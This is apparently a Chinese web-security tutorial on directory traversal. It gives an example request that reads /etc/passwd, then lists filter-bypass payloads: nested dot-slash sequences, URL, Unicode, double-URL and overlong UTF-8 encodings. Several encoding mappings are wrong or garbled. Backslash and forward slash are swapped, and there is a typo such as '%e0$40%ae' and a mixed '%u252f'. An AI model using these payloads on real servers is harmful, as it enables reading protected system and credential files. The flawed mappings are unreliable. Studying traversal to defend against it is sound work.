网站安全(13) ——目录穿越漏洞(Directory Traversal)
如果应用程序使用用户可控制的数据,以危险的方式访问位于应用服务器或其它后端文件系统的文件或目录,就会出现路径遍历。
攻击者可以将路径遍历序列放入文件名内,向上回溯,从而访问服务器上的任何文件,路径遍历序列叫“点-点-斜线”(..\)
http://***/go.action?file=..\..\etc\passwd
避开过滤
第一种是过滤文件名参数中是否存在任何路径遍历序列(..\)
如果程序尝试删除(..\)来净化用户输入,可以用
….//
….\/ …./\ ….\\
进行URL编码
点–>%2e 反斜杠–>/
正斜杠–>%5c
进行16为Unicode编码
点–>%u002e
反斜杠–>%u2215
正斜杠–>%u2216
进行双倍URL编码
点–>%252e
反斜杠–>%u252f 正斜杠–>%u255c
进行超长UTF-8
Unicode编码
点–>%c0%2e %e0$40%ae
%c0ae
反斜杠–>%c0af %e0%80af
%c0%af
正斜杠–>%c0%5c %c0%80%5c
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。